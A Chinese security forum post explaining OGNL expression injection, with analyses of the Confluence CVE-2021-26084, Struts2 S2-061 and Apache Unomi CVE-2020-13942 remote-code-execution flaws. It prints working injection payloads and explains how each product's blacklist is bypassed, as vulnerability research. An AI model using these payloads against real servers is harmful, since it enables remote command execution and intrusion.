安全矩阵

 找回密码
 立即注册
搜索
查看: 2545|回复: 0

一文读懂OGNL漏洞

[复制链接]

855

主题

862

帖子

2940

积分

金牌会员

Rank: 6Rank: 6

积分
2940
发表于 2021-11-19 09:49:25 | 显示全部楼层 |阅读模式
原文链接:一文读懂OGNL漏洞

0x00 前言前段时间出现的Confluence OGNL漏洞(CVE-2021-26084)引起了我对Java OGNL表达式注入的兴趣,当时没有时间立刻研究,近期又捡起来学习和分析,用了近半月整理了本文,如有不当之处,还请批评指正。
0x01 OGNL是什么?先来看一个例子:
  1. Class SchoolMaster{
  2.     String name = "wanghua";
  3. }

  4. Class School
  5. {
  6.     String name = "tsinghua";
  7.     SchoolMaster schoolMaster;
  8. }

  9. Class Student
  10. {
  11.     String name = "xiaoming";
  12.     School school;
  13. }
复制代码


创建实例学校school = new School()、学生student = new Student()和校长schoolMaster = new SchoolMaster(),将学校校长指定为schoolMaster实例-school.schoolMaster = schoolMaster,学生的学校指定为school实例-student.school = school,那么三者就连接起来了形成了一个对象图,对象图基本可以理解为对象之间的依赖图。通过对象图我们可以获取到对象的属性甚至对象的方法。
那么OGNL就是实现对象图导航语言,全称Object-Graph Navigation Language。通过它我们可以存取 Java对象的任意属性、调用 Java 对象的方法以及实现类型转换等。
0x02 OGNL三元素OGNL基本使用方法示例:
  1. // 创建Student对象
  2. School school = new School();
  3. school.setName("tsinghua");
  4. school.setSchoolMaster(new SchoolMaster("wanghua"));
  5. Student student1 = new Student();
  6. student1.setName("xiaoming");
  7. student1.setSchool(school);
  8. Student student2 = new Student();
  9. student2.setName("zhangsan");
  10. student2.setSchool(school);

  11. // 创建上下文环境
  12. OgnlContext context = new OgnlContext();
  13. // 设置跟对象root
  14. context.setRoot(student1);
  15. context.put("student2", student2);
  16. // 获取ognl的root相关值
  17. Object name1 = Ognl.getValue("name", context, context.getRoot());
  18. Object school1 = Ognl.getValue("school.name", context, context.getRoot());
  19. Object schoolMaster1 = Ognl.getValue("school.schoolMaster.name", context, context.getRoot());
  20. System.out.println(name1 + ":学校-" + school1 + ",校长-"+schoolMaster1);
  21. // 获取ognl非root相关值
  22. Object name2 = Ognl.getValue("#student2.name", context, context.getRoot());
  23. Object school2 = Ognl.getValue("#student2.school.name", context, context.getRoot());
  24. Object schoolMaster2 = Ognl.getValue("#student2.school.schoolMaster.name", context, context.getRoot());
  25. System.out.println(name2 + ":学校-" + school2 + ",校长-"+schoolMaster2);
复制代码


输出结果:
  1. xiaoming:学校-tsinghua,校长-wanghua
  2. zhangsan:学校-tsinghua,校长-wanghua
复制代码


不难看出,OGNL getValue需要三元素:expression表达式、context上下文及root对象。那么什么是三元素:
expression表达式:表达式是整个OGNL的核心,通过表达式来告诉OGNL需要执行什么操作;
root根对象:OGNL的Root对象可以理解为OGNL的操作对象。当OGNL通过表达式规定了“干什么”以后,还需要指定对谁进行操作;
context上下文对象:context以MAP的结构、利用键值对关系来描述对象中的属性以及值,称之为OgnlContext,可以理解为对象运行的上下文环境,其实就是规定OGNL的操作在哪里。
在上面示例中,根对象是student1实例,context中设置了根对象和非根对象student2,表达式有name、school.name、school.schoolMaster.name和student2.name、#student2.school.name、student2.school.schoolMaster.name,前三个是通过表达式获取root也就是student1对象的相关属性,后三个是通过表达式获取容器变量student2对象的相关属性。
0x03 OGNL表达式语法符号的使用:在上一部分我们已经接触了.和#符号在表达式中的使用,通过.可以获取对象属性,#可以获取非root的Student对象。
OGNL表达式支持Java基本运算,所以运算符+、-、*、/、%等在OGNL都是支持的,另外还支持in、eq、gt等。
除了基本运算符,.、@、#在OGNL中都有特殊含义。
1、通过.获取对象的属性或方法:
  1. student
  2. student.name
  3. student.school
  4. student.school.name
  5. student.takingClasses("英语")
复制代码


2、三种类型对象的获取:
静态对象、静态方法和静态变量:@
  1. @java.lang.System@getProperty("user.dir")
  2. @java.lang.Math@abs(-111)
复制代码


非原生类型对象:#
  1. #student.name
  2. #student.takingClasses("英语")
复制代码


简单对象:直接获取
  1. "string".lenth
  2. 5
  3. true
复制代码


3、%符号的用途是在标志的属性为字符串类型时,告诉执行环境%{}里的是OGNL表达式并计算表达式的值。
4、$在配置文件中引用OGNL表达式。
集合表达式:new创建实例:
new java.lang.String("testnew")
{}和[]的用法:
在OGNL中,可以用{}或者它的组合来创建列表、数组和map,[]可以获取下标元素。
创建list:{value1,value2...}
{1,3,5}[1]
创建数组:new type[]{value1,value2...}
new int[]{1,3,5}[0]
创建map:#{key:value,key1:value1...}
#{"name":"xiaoming","school":"tsinghua"}["school"]
除了一些符号和集合,还支持Projection投影和Selection选择等,具体可参考官方文档:https://commons.apache.org/prope ... language-guide.html 附录Operators部分。
0x04 命令执行调试分析通过上面表达式的学习我们很容易能够写出Java执行命令的表达式:
  1. @java.lang.Runtime@getRuntime().exec("calc")
  2. (new java.lang.ProcessBuilder(new java.lang.String[]{"calc"})).start()
复制代码


Ognl低版本:2.7.3测试调试分析Ognl.getValue("@java.lang.Runtime@getRuntime().exec(\"calc\")", context, context.getRoot());执行流程。下图是表达式对应的语法树(AST),下面的分析可以结合图片思考。

Ognl.getValue()处理表达式时,会先生成一个tree,这个tree本质是SimpleNode实例,树的每个节点都是一个ASTChain实例,ASTChain继承自SimpleNode。

当调用node.getValue(ognlContext, root);时,会调用SimpleNode.getValue()进行处理,SimpleNode.getValue()会通过SimpleNode.evaluateGetValueBody()计算结果
  1. public final Object getValue(OgnlContext context, Object source) throws OgnlException {
  2.     Object result = null;
  3.     if (context.getTraceEvaluations()) {
  4.         ...
  5.     } else {
  6.         result = this.evaluateGetValueBody(context, source);
  7.     }
  8.     return result;
  9. }
复制代码


SimpleNode.evaluateGetValueBody()在计算非常量情况的结果时会调用子类的getValueBody,Ognl在处理节点时分为多种情况进行处理:ASTChain、ASTConst、ASTCtor、ASTInstanceof、ASTList、ASTMethod、ASTStaticField、ASTStaticMethod等。

首先这里最开始是一个ASTChain @java.lang.Runtime@getRuntime().exec("calc"),ASTChain.getValueBody()在处理时,会迭代调用getValue处理子节点的结果,最终还是会调用ASTXXX方法处理节点的结果。
  1. protected Object getValueBody(OgnlContext context, Object source) throws OgnlException {
  2.     Object result = source;
  3.     int i = 0;
  4.     // 迭代处理字子节点的结果
  5.     for(int ilast = this._children.length - 1; i <= ilast; ++i) {
  6.         boolean handled = false;
  7.         ......
  8.         if (!handled) {
  9.             // 调用子节点的getValue方法处理
  10.             result = this._children[i].getValue(context, result);
  11.         }
  12.     }

  13.     return result;
  14. }
复制代码


当Ognl计算@java.lang.Runtime@getRuntime()时,由于方法时静态方法会调用ASTStaticMethod.getValueBody。ASTStaticMethod.getValueBody通过OgnlRuntime.callStaticMethod处理方法的调用。
  1. protected Object getValueBody(OgnlContext context, Object source) throws OgnlException {
  2.     Object[] args = OgnlRuntime.getObjectArrayPool().create(this.jjtGetNumChildren());
  3.     Object root = context.getRoot();

  4.     try {
  5.         int i = 0;

  6.         for(int icount = args.length; i < icount; ++i) {
  7.             args[i] = this._children[i].getValue(context, root);
  8.         }

  9.         Object var10 = OgnlRuntime.callStaticMethod(context, this._className, this._methodName, args);
  10.         return var10;
  11.     } finally {
  12.         OgnlRuntime.getObjectArrayPool().recycle(args);
  13.     }
  14. }
复制代码


通过OgnlRuntime.callAppropriateMethod()处理方法调用,最终会调用Method.invoke()进行方法调用并返回值。
  1. public static Object callAppropriateMethod(OgnlContext context, Object source, Object target, String methodName, String propertyName, List methods, Object[] args) throws MethodFailedException {
  2.     Throwable reason = null;
  3.     Object[] actualArgs = _objectArrayPool.create(args.length);

  4.     try {
  5.         Method method = getAppropriateMethod(context, source, target, propertyName, methods, args, actualArgs);
  6.         int i;
  7.         ......
  8.             if (target != null) {
  9.                 className = target.getClass().getName() + ".";
  10.             }
  11.         ......

  12.             for(int ilast = args.length - 1; i <= ilast; ++i) {
  13.                 ......
  14.             }

  15.         throw new NoSuchMethodException(className + methodName + "(" + buffer + ")");
  16.     }
  17.     ......

  18.         Object var26 = invokeMethod(target, method, convertedArgs);
  19.     return var26;
  20. } catch (NoSuchMethodException var21) {
  21.     ......
  22. }


  23. public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
  24.     ......
  25.     Object result;
  26.     if (syncInvoke) {
  27.             ......
  28.             result = method.invoke(target, argsArray);
  29.             i......
  30.         }
  31.     } else {
  32.         ......
  33.         result = method.invoke(target, argsArray);
  34.     }
  35.     return result;
  36. }
复制代码


同样的,Ognl计算exec("calc")时,调用ASTMethod.getValueBody,最终也是在OgnlRuntime.callAppropriateMethod()中调用Method.invoke()处理。

Ognl 3.2.18 测试Ognl>=3.1.25、Ognl>=3.2.12配置了黑名单检测,会导致上面的实验失败,提示cannot be called from within OGNL invokeMethod() under stricter invocation mode,在使用StricterInvocation模式下不允许执行java.lang.Runtime.getRuntime()。

对比上面2.7.3版本,在OgnlRuntime.invokeMethod中,添加了黑名单判断,当命中黑名单会出现上图的报错:ClassResolver、MethodAccessor、MemberAccess、OgnlContext、Runtime、ClassLoader、ProcessBuilder等。
  1. public static Object invokeMethod(Object target, Method method, Object[] argsArray) throws InvocationTargetException, IllegalAccessException {
  2.     if (_useStricterInvocation) {
  3.         Class methodDeclaringClass = method.getDeclaringClass();
  4.         if (AO_SETACCESSIBLE_REF != null && AO_SETACCESSIBLE_REF.equals(method) || AO_SETACCESSIBLE_ARR_REF != null && AO_SETACCESSIBLE_ARR_REF.equals(method) || SYS_EXIT_REF != null && SYS_EXIT_REF.equals(method) || SYS_CONSOLE_REF != null && SYS_CONSOLE_REF.equals(method) || AccessibleObjectHandler.class.isAssignableFrom(methodDeclaringClass) || ClassResolver.class.isAssignableFrom(methodDeclaringClass) || MethodAccessor.class.isAssignableFrom(methodDeclaringClass) || MemberAccess.class.isAssignableFrom(methodDeclaringClass) || OgnlContext.class.isAssignableFrom(methodDeclaringClass) || Runtime.class.isAssignableFrom(methodDeclaringClass) || ClassLoader.class.isAssignableFrom(methodDeclaringClass) || ProcessBuilder.class.isAssignableFrom(methodDeclaringClass) || AccessibleObjectHandlerJDK9Plus.unsafeOrDescendant(methodDeclaringClass)) {
  5.             throw new IllegalAccessException("Method [" + method + "] cannot be called from within OGNL invokeMethod() " + "under stricter invocation mode.");
  6.         }
  7.     }

  8.     ......
  9.         result = invokeMethodInsideSandbox(target, method, argsArray);
  10.     }

  11.     return result;
  12. }
复制代码


0x05 近期三个漏洞的分析在CVE搜索OGNL,前三个漏洞分别是Confluence的CVE-2021-26084、Struts2的CVE-2020-17530和Apache Unomi的CVE-2020-13942,本次对这三个漏洞进行分析。

Confluence CVE-2021-26084velocity模板引擎语法:
1、基本符号
  1. "#"标识velocity的脚本语句
  2. "[        DISCUZ_CODE_13        ]quot;获取一个对象或变量
  3. "{}"用来标识velocity变量
  4. "!"对变量为null的情况在页面显示为空白字符串
  5. 用双引号还是单引号表示,默认“双引号,可以在stringliterals.interpolate=false改变默认处理方式
复制代码


2、示例:
  1. ## 1、变量引用
  2. $name
  3. ## 2、语句/指令-变量赋值
  4. #($name="test")
  5. #set($value= 123)
  6. ## 3、#include和#parse的作用都是引入本地文件。#include引入的文件内容不会被velocity模板引擎解析。#parse引入的文件内容,将解析其中的velocity并交给模板,相当于把引入的文件内容copy到文件中。
  7. #parse ( "/template/includes/actionerrors.vm" )
  8. #include ( "/template/includes/actionerrors.vm" )
复制代码


更多语法可参考:http://velocity.apache.org/engine/1.7/user-guide.html
漏洞分析:
confluence处理velocity模板,将velocity语法转为字符串输出到页面,其中涉及到的一些表达式计算会调用ognl.getValue()处理。confluence处理vm文件,首先将vm内容转为AST语法树,然后分别处理每一个节点的内容,将每个节点的内容拼接输出。
Confluence的Velocity模板引擎处理vm文件流程主要在com.opensymphony.webwork.dispatcher.VelocityResult.doExecute(),首先获取OgnlValueStack、context上下文、getTemplate获取vm文件,接下来用merge处理合并页面结果,将结果输出给writer。

merge调用((SimpleNode)this.data).render(ica, writer);方法处理,先将vm文件的内容转为AST语法树,便于计算每个节点的结果。

本次漏洞涉及的createpage-entervariables.vm文件经过解析后的AST语法树如下图,每一个ASTXXX处理程序都继承自SimpleNode.

queryString在第7个节点,归属applyDecorator指令,程序处理时将applyDecorator又分为35个节点,queryString在[#tag], [ ], [(], ["Hidden"], [ ], ["name='queryString'"], [ ], ["value='$!queryString'"], [)]节点中处理,我们重点看这个处理过程。

[#tag], [ ], [(], ["Hidden"], [ ], ["name='queryString'"], [ ], ["value='$!queryString'"], [)]节点属于
​​
AbstractTagDirective,会调用AbstractTagDirective.render()。

AbstractTagDirective.render()首先调用applyAttributes(contextAdapter, node, object)处理参数,其中AbstractTagDirective.createPropertyMap()创建参数Map,保存property键值对。


保存后AbstractTagDirective.render()调用AbstractTagDirective.processTag()处理tag

AbstractUITag.evaluateParams通过addParameter()添加name和value,value的值通过findValue()获取具体的值。

调用getValueFinder().findValue(expr, toType)时会先调用SafeExpressionUtil.isSafeExpression()进行安全检查,而isSafeExpression()会通过containsUnsafeExpression()处理,这正是本次漏洞的关键之处。

containsUnsafeExpression()代码如下,递归检查节点及其子节点是否包含黑名单。
  1. private static boolean containsUnsafeExpression(Node node) {
  2.     String nodeClassName = node.getClass().getName();
  3.     if (UNSAFE_NODE_TYPES.contains(nodeClassName)) {
  4.         return true;
  5.     } else if ("ognl.ASTProperty".equals(nodeClassName) && UNSAFE_PROPERTY_NAMES.contains(node.toString())) {
  6.         return true;
  7.     } else if ("ognl.ASTMethod".equals(nodeClassName) && UNSAFE_METHOD_NAMES.contains(node.toString())) {
  8.         return true;
  9.     } else if ("ognl.ASTVarRef".equals(nodeClassName) && UNSAFE_VARIABLE_NAMES.contains(node.toString())) {
  10.         return true;
  11.     } else {
  12.         for(int i = 0; i < node.jjtGetNumChildren(); ++i) {
  13.             Node childNode = node.jjtGetChild(i);
  14.             if (childNode != null && containsUnsafeExpression(childNode)) {
  15.                 return true;
  16.             }
  17.         }

  18.         return false;
  19.     }
  20. }
复制代码


黑名单包括静态方法、静态属性、构造方法、class、classLocader、getClass()、getClassLoader()、_memberAccess、context、request等。
  1. static {
  2.     Set set = new HashSet();
  3.     set.add("ognl.ASTStaticMethod");
  4.     set.add("ognl.ASTStaticField");
  5.     set.add("ognl.ASTCtor");
  6.     set.add("ognl.ASTAssign");
  7.     UNSAFE_NODE_TYPES = Collections.unmodifiableSet(set);
  8.     set = new HashSet();
  9.     set.add("class");
  10.     set.add("classLoader");
  11.     UNSAFE_PROPERTY_NAMES = Collections.unmodifiableSet(set);
  12.     set = new HashSet();
  13.     set.add("getClass()");
  14.     set.add("getClassLoader()");
  15.     UNSAFE_METHOD_NAMES = Collections.unmodifiableSet(set);
  16.     set = new HashSet();
  17.     set.add("#_memberAccess");
  18.     set.add("#context");
  19.     set.add("#request");
  20.     set.add("#parameters");
  21.     set.add("#session");
  22.     set.add("#application");
  23.     UNSAFE_VARIABLE_NAMES = Collections.unmodifiableSet(set);
  24. }
复制代码


UNSAFE_PROPERTY_NAMES有class和classLoader两个元素,不包含["class"],而["class"]子节点"class"属于ASTConst不进行检查,因此可绕过,对于方法黑名单,ASTMethod仅禁止getClass()和getClassLoader(),forName、getMethod、invoke等不在禁止范围。

特别说明下,confluence 使用的ognl版本是2.6.5,属于较早版本,没有在invokeMethod中添加黑名单进行安全检查,因此payload在ognl中可以顺利执行。(可参考0x04-Ognl 3.2.18 测试)

另外,除了queryString,vm中还有两个看起来可利用的参数:
  1. #tag ("Hidden" "name='queryString'" "value='$!queryString'")
  2. #tag ("Hidden" "name='templateId'" "value='$pageTemplate.id'")
  3. #tag ("Hidden" "name='linkCreation'" "value='$linkCreation'")
复制代码


经过尝试linkCreation同样也可以利用,跟queryString一样的:

而templateId不能利用,因为该参数实际需要的是int,后面强制转换会报错。

Struts2 CVE-2020-17530(S2-061)Struts2的ognl RCE漏洞主要是添加黑名单来修复和绕过黑名单。
Struts2防护机制
如果需要绕过Struts2的历史ognl rce的修复,需要考虑三点:
  1. struts-defult.xml的struts.excludedClasses和struts.excludedPackageNames部分
  2. com.opensymphony.xwork2.ognl.SecurityMemberAccess
  3. Ognl.OgnlRuntime.invokeMethod()中的黑名单
复制代码


struts2在struts-defult.xml文件中加入了一些类和包作为黑名单:
  1. <!-- s2-061修复前的黑名单 -->
  2. <constant name="struts.excludedClasses"
  3.               value="
  4.                 java.lang.Object,
  5.                 java.lang.Runtime,
  6.                 java.lang.System,
  7.                 java.lang.Class,
  8.                 java.lang.ClassLoader,
  9.                 java.lang.Shutdown,
  10.                 java.lang.ProcessBuilder,
  11.                 sun.misc.Unsafe,
  12.                 com.opensymphony.xwork2.ActionContext" />
  13.     <constant name="struts.excludedPackageNames"
  14.               value="
  15.                 ognl.,
  16.                 java.io.,
  17.                 java.net.,
  18.                 java.nio.,
  19.                 javax.,
  20.                 freemarker.core.,
  21.                 freemarker.template.,
  22.                 freemarker.ext.jsp.,
  23.                 freemarker.ext.rhino.,
  24.                 sun.misc.,
  25.                 sun.reflect.,
  26.                 javassist.,
  27.                 org.apache.velocity.,
  28.                 org.objectweb.asm.,
  29.                 org.springframework.context.,
  30.                 com.opensymphony.xwork2.inject.,
  31.                 com.opensymphony.xwork2.ognl.,
  32.                 com.opensymphony.xwork2.security.,
  33.                 com.opensymphony.xwork2.util." />
复制代码


构造ValueStack时,在com.opensymphony.xwork2.ognl.OgnlValueStack.setOgnlUtil()中会设置SecurityMemberAccess,将struts-defult.xml的黑名单加载进去

我调试分析时用的struts2版本是2.5.25,该版本中用到的ognl版本是3.1.28,该版本的OgnlRuntime.invokeMethod同样做了一些黑名单限制(同“0x04-Ognl 3.2.18 测试“)。

漏洞分析:
payload:

  1. %{(#instancemanager=#application["org.apache.tomcat.InstanceManager"]).(#stack=#attr["com.opensymphony.xwork2.util.ValueStack.ValueStack"]).(#bean=#instancemanager.newInstance("org.apache.commons.collections.BeanMap")).(#bean.setBean(#stack)).(#context=#bean.get("context")).(#bean.setBean(#context)).(#access=#bean.get("memberAccess")).(#bean.setBean(#access)).(#emptyset=#instancemanager.newInstance("java.util.HashSet")).(#bean.put("excludedClasses",#emptyset)).(#bean.put("excludedPackageNames",#emptyset)).(#execute=#instancemanager.newInstance("freemarker.template.utility.Execute")).(#cmd={'whoami'}).(#execute.exec(#cmd))}
复制代码


根据Struts2 S2-061漏洞分析(CVE-2020-17530)文章进行调试分析,总结s2-061绕过s2-059的思路主要有以下几点:
1、#application 中的 org.apache.tomcat.InstanceManager.newInstance()可以实例化无参构造的类;

2、可以通过#attr和com.opensymphony.xwork2.util.ValueStack.ValueStack获取valuestack。org.apache.commons.collections.BeanMap的setBean方法设置为valuestack,这样get方法传入context就可以调用com.opensymphony.xwork2.ognl.OgnlValueStack.getContext(),然后将获取的context同样用setBean方法进行设置,get传入memberAccess进行获取;(关于ValueStack、OgnlContext、memberAccess和SecurityMemberAccess的关系推荐阅读Lucifaer大佬的浅析OGNL攻防史进行了解)

3、获取到的memberAccess实际就是com.opensymphony.xwork2.ognl.SecurityMemberAccess,再利用BeanMap的put方法将SecurityMemberAccessexcludedClasses和excludedPackageNames置空,这样子就绕过了struts2的黑名单;

4、需要注意第三点只是绕过了struts2黑名单,ognl黑名单没有被绕过,避开ognl黑名单,可以利用struts2的黑名单,其中freemarker.template.utility.Execute存在无参构造,freemarker.template.utility.Execute.exec() 方法可执行命令。
Apache Unomi CVE-2020-13942Apache Unomi CVE-2020-13942包括OGNL RCE和MVEL RCE,本文仅针对OGNL进行分析。
对比1.5.1和1.5.2版本,修复该漏洞的提交Improve scripting security ([#179])中主要对org.apache.unomi.plugins.baseplugin.conditions.PropertyConditionEvaluator.java、SecureFilteringClassLoader.java等进行了修改,并且增加了ExpressionFilter.java来检查表达式。

漏洞分析:
unomi处理parameterValues主要在org.apache.unomi.plugins.baseplugin.conditions.PropertyConditionEvaluator,getPropertyValue()获取请求的参数值。在该方法中默认会先通过getHardcodedPropertyValue()处理。

getHardcodedPropertyValue()中当propertyName不等于segments、consents、properties.XXX等,会返回NOT_OPTIMIZED,然后再通过getOGNLPropertyValue()处理,也就是说propertyName未遵照预设的结果时会按照ognl表达式处理。

在getOGNLPropertyValue()中,通过accessor.get(ognlContext, item)处理,这里accessor就是ASTChain。

那么最终会调用ASTChain.getValue()处理表达式。

unomi 1.5.1用的ognl版本是3.2.14,该版本在OgnlRuntime.invokeMethod中同样存在黑名单判断。只要表达式绕过Ognl的黑名单就可以达到目的。

我们来看下表达式:
  1. (#runtimeclass = #this.getClass().forName("java.lang.Runtime")).(#getruntimemethod = #runtimeclass.getDeclaredMethods().{^ #this.name.equals("getRuntime")}[0]).(#rtobj = #getruntimemethod.invoke(null,null)).(#execmethod = #runtimeclass.getDeclaredMethods().{? #this.name.equals("exec")}.{? #this.getParameters()[0].getType().getName().equals("java.lang.String")}.{? #this.getParameters().length < 2}[0]).(#execmethod.invoke(#rtobj,"touch /tmp/ognl"))
复制代码


整个的思路是用Class和Method以及Method.invoke来绕过黑名单。
this.getClass()是一个Class对象,Class没有在黑名单中,因此上面Class.forName()可以执行,同理Class.forName()会得到一个Class对象,因此runtimeclass.getDeclaredMethods()可以正常执行,并且返回Runtime的方法数组,Method没有在黑名单,遍历方法名获取到getRuntime的Method对象(不可以直接getDeclaredMethod("getRuntime")会报错),利用invoke执行getRuntime,同理获取exec并执行。

最后顺便提一下unomi小于1.5.1版本存在CVE-2020-11975,查了下1.5.0使用的ognl版本是3.2.11,该版本OgnlRuntime.invokeMethod没有黑名单,这也是Runtime的payload(#r=@java.lang.Runtime@getRuntime()).(#r.exec(\"calc\"))可以直接运行的原因。

0x06 思考与总结上面提到的几个OGNL漏洞的修复基本都是采用黑名单来限制OGNL注入,开发人员在使用ognl时,除了ognl需要注意使用较高版本,还要注意添加额外的防护措施。当然,使用黑名单的防护方式也许一时可以防住OGNL的RCE,但总有被绕过的风险,另外除了命令执行,文件操作、SSRF也不是没有可能。
0x07 参考链接:
  1. https://commons.apache.org/proper/commons-ognl/apidocs/index.html
  2. https://stackoverflow.com/questions/2046761/what-is-object-graph-in-java
  3. https://developer.aliyun.com/article/135737
  4. https://juejin.cn/post/6844904013683507207
  5. https://tech.meituan.com/2019/02/14/talk-about-java-magic-class-unsafe.html
  6. https://github.com/httpvoid/writeups/blob/main/Confluence-RCE.md
  7. https://xz.aliyun.com/t/8135
  8. https://www.cnblogs.com/yangzhinian/p/4885973.html
  9. https://mp.weixin.qq.com/s/RD2HTMn-jFxDIs4-X95u6g
  10. http://velocity.apache.org/engine/1.7/user-guide.html
  11. http://unomi.apache.org/manual/latest/index.html#_javascript
  12. https://github.com/vulhub/vulhub/blob/master/unomi/CVE-2020-13942/README.zh-cn.md
复制代码




回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

小黑屋|安全矩阵

GMT+8, 2025-4-23 05:35 , Processed in 0.018336 second(s), 18 queries .

Powered by Discuz! X4.0

Copyright © 2001-2020, Tencent Cloud.

快速回复 返回顶部 返回列表